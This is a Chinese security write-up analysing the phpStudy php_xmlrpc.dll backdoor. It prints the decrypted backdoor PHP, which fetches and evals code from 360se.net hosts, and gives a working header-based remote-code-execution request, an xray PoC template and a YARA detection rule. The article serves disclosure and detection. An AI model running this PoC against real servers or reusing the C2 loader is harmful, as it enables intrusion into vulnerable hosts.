PHPStudy后门动态调试分析
本文由作者shenyi编写
近期,国内知名的PHP环境集成程序包phpStudy被曝出存在后门,疑似遭遇供应链攻击。程序包自带的PHP模块中的php_xmlrpc.dll文件隐藏有后门。经过分析该后门除了反向连接木马之外,还可以正向执行任意代码,危害巨大。
影响版本
Phpstudy 2016中的php5模块
php\php-5.2.17\ext\php_xmlrpc.dll php\php-5.4.45\ext\php_xmlrpc.dll |
---|
Phpstudy 2018中的php5模块
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll |
---|
下文将对后门所涉及的dll进行详细分析。
分析过程
1、定位特征字符串位置
2、静态分析传参数据
3、动态调试构造传参内容
php_xmlrpc.dll
PHPstudy 2018与2016两个版本的里的PHP5.2与PHP5.4版本里的恶意php_xmlrpc.dll后门一致。
定位特征字符串位置
根据@eval()这个代码执行函数定位到引用位置。@是PHP提供的错误信息屏蔽专用符号。Eval()可执行php代码,中间%s格式符为字符串传参。函数地址为:0x100031F0
图1:eval特征代码
静态分析传参数据
通过F5查看代码,分析代码流程,判断条件是有全局变量且有HTTP_ACCEPT_ENCODING的时候会进入内部语句。接下来有两个主要判断来实现正向连接和反向连接的操作,主要有以下两个部分。
第一部分,正向连接:判断ACCEPT_ENCODING如果等于gzip,deflate,读取ACCEPT_CHARSE的内容做base64解密,交给zend_eval_strings()函数,执行任意恶意代码。
构造HTTP头,把Accept-Encoding改成Accept-Encoding:gzip,deflate可以成功触发。
GET /index.php HTTP/1.1 Host: 192.168.221.128 ….. Accept-Encoding: gzip,deflate Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs= …. |
---|
第二部分,反向连接:判断ACCEPT_ENCODING是否等于compress,gzip,通过关键代码@eval(gzuncompress('%s'));可以看到拼接了一段恶意代码,然后调用gzuncompress方法执行解密。
通过构造HTTP头,把Accept-Encoding改成Accept-Encoding: compress,gzip可以成功触发。
GET /index.php HTTP/1.1 Host: 192.168.221.128 ….. Accept-Encoding:compress,gzip …. |
---|
图2:第1部分流程判断代码
图3:第2部分流程判断代码
这一部分有两处会执行zend_eval_strings函数代码的位置。分别是从1000D66C到1000E5C4的代码解密:
@ini_set("display_errors","0"); error_reporting(0); function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){ $result = ""; $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); if( !$handle ){ $handle = fsockopen($ip, intval($port), $errno, $errstr, 5); if( !$handle ){ return "err"; } } fwrite($handle, $sendMsg."\n"); while(!feof($handle)){ stream_set_timeout($handle, 2); $result .= fread($handle, 1024); $info = stream_get_me ta_data($handle); if ($info['timed_out']) { break; } } fclose($handle); return $result; } $ds = array("www","bbs","cms","down","up","file","ftp"); $ps = array("20123","40125","8080","80","53"); $n = false; do { $n = false; foreach ($ds as $d){ $b = false; foreach ($ps as $p){ $result = tcpGet($i,$d.".360se.net",$p); if ($result != "err"){ $b =true; break; } } if ($b)break; } $info = explode("<^>",$result); if (count($info)==4){ if (strpos($info[3],"/*Onemore*/") !== false){ $info[3] = str_replace("/*Onemore*/","",$info[3]); $n=true; } @eval(base64_decode($info[3])); } }while($n); ``` |
---|
从1000D028 到1000D66C的代码解密:
@ini_set("display_errors","0"); error_reporting(0); $h = $_SERVER['HTTP_HOST']; $p = $_SERVER['SERVER_PORT']; $fp = fsockopen($h, $p, $errno, $errstr, 5); if (!$fp) { } else { $out = "GET {$_SERVER['sc ript_NAME']} HTTP/1.1\r\n"; $out .= "Host: {$h}\r\n"; $out .= "Accept-Encoding: compress,gzip\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); fclose($fp); } ``` |
---|
动态调试构造传参内容
OD动态调试传参值需要对httpd.exe进程进行附加调试,phpstudy启用的httpd进程有两个。一个是带有参数的,一个是没有带参数的。在下断的时候选择没有参数的httpd.exe下断才能触发后门。
根据前面IDA静态分析得到的后门函数地址,OD附加进程后从httpd.exe调用的模块里找到php_xmlrpc.dll模块,在DLL空间里定位后门函数地址0x100031F0,可能还需要手动修改偏移后下断点。使用burpsuite,构造Accept-Encoding的内容。发包后可以动态调试。建立触发点的虚拟机快照后可以反复跟踪调试得到最终可利用的payload。
图4:OD动态调试Payload
PHP脚本后门分析
脚本一功能:使用fsockopen模拟GET发包
@ini_set("display_errors","0"); error_reporting(0); $h = $_SERVER['HTTP_HOST']; $p = $_SERVER['SERVER_PORT']; $fp = fsockopen($h, $p, $errno, $errstr, 5); if (!$fp) { } else { $out = "GET {$_SERVER['sc ript_NAME']} HTTP/1.1\r\n"; $out .= "Host: {$h}\r\n"; $out .= "Accept-Encoding: compress,gzip\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); fclose($fp); } ``` |
---|
脚本二功能:
内置有域名表和端口表,批量遍历然后发送数据。注释如下:
<?php @ini_set("display_errors","0"); error_reporting(0); function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){ $result = ""; $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); // 接收数据,每次过来一条数据就要连接一次 if( !$handle ){ $handle = fsockopen($ip, intval($port), $errno, $errstr, 5); //错误的时候就重连一次测试。 if( !$handle ){ return "err"; } } fwrite($handle, $sendMsg."\n"); // 模拟发送数据 while(!feof($handle)){ stream_set_timeout($handle, 2); $result .= fread($handle, 1024); // 读取文件 $info = stream_get_me ta_data($handle); // 超时则退出 if ($info['timed_out']) { break; } } fclose($handle); return $result; } $ds = array("www","bbs","cms","down","up","file","ftp"); // 域名表 $ps = array("20123","40125","8080","80","53"); // 端口表 $n = false; do { $n = false; foreach ($ds as $d){ //遍历域名表 $b = false; foreach ($ps as $p){ // 遍历端口表 $result = tcpGet($i,$d.".360se.net",$p); if ($result != "err"){ $b =true; break; } } if ($b)break; } $info = explode("<^>",$result); if (count($info)==4){ if (strpos($info[3],"/*Onemore*/") !== false){ $info[3] = str_replace("/*Onemore*/","",$info[3]); $n=true; } @eval(base64_decode($info[3])); } }while($n); ?> |
---|
POC
熟悉原理后可根据执行流程构造执行任意代码的Payload:
GET /index.php HTTP/1.1 Host: 192.168.221.128 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding:gzip,deflate Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs= Content-Length: 0 Accept-Language: zh-CN,zh;q=0.9 Connection: close ``` Payload:printf(md5(333)); 回显特征:310dcbbf4cce62f762a2aaa148d556bd |
---|
图5:Payload回显验证
漏洞验证插件
漏洞插件采用长亭科技xray社区漏洞扫描器。虽然现今网络上好多放出来的批量poc,我还是觉得使用长亭的插件写poc,省了好多心力去考虑写各种代码,把主要精力专注到漏洞分析和写poc上。
name: poc-yaml-phpstudy-backdoor-rce rules: - method: GET path: /index.php headers: Accept-Encoding: 'gzip,deflate' Accept-Charset: cHJpbnRmKG1kNSg0NTczMTM0NCkpOw== follow_redirects: false ex pression: | body.bcontains(b'a5952fb670b54572bcec7440a554633e') detail: author: 17bdw Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4" vuln_url: "php_xmlrpc.dll" links: - https://www.freebuf.com/column/214946.html |
---|
网络特征
Accept-Encoding:gzip,deflate 少一个空格 Accept-Charset:为base64编码 |
---|
文件特征
特征一、 %s;@eval(%s('%s')); 25 73 3B 40 65 76 61 6C 28 25 73 28 27 25 73 27 29 29 3B 特征二、 @eval(%s('%s')); 40 65 76 61 6C 28 25 73 28 27 25 73 27 29 29 3B rule PhpStudybackdoor { me ta: filetype=" PhpStudybackdoor " desc ription=" PhpStudybackdoor check" strings: $a1 = "@eval(%s('%s'));" $a2 =”%s;@eval(%s('%s'));” condition: any of ($a*) } |
---|
受影响站点
参考
PhpStudyGhost后门供应链攻击事件及相关IOC
https://www.freebuf.com/column/214946.html
2019关于phpstudy软件后门简单分析
https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw
phpstudy后门文件分析以及检测脚本
https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw
Phpstudy官网于2016年被入侵,犯罪分子篡改软件并植入后门
https://mp.weixin.qq.com/s/CqHrDFcubyn_y5NTfYvkQw
phpstudy后门文件分析以及检测脚本
https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw
phpStudy隐藏后门预警
最新评论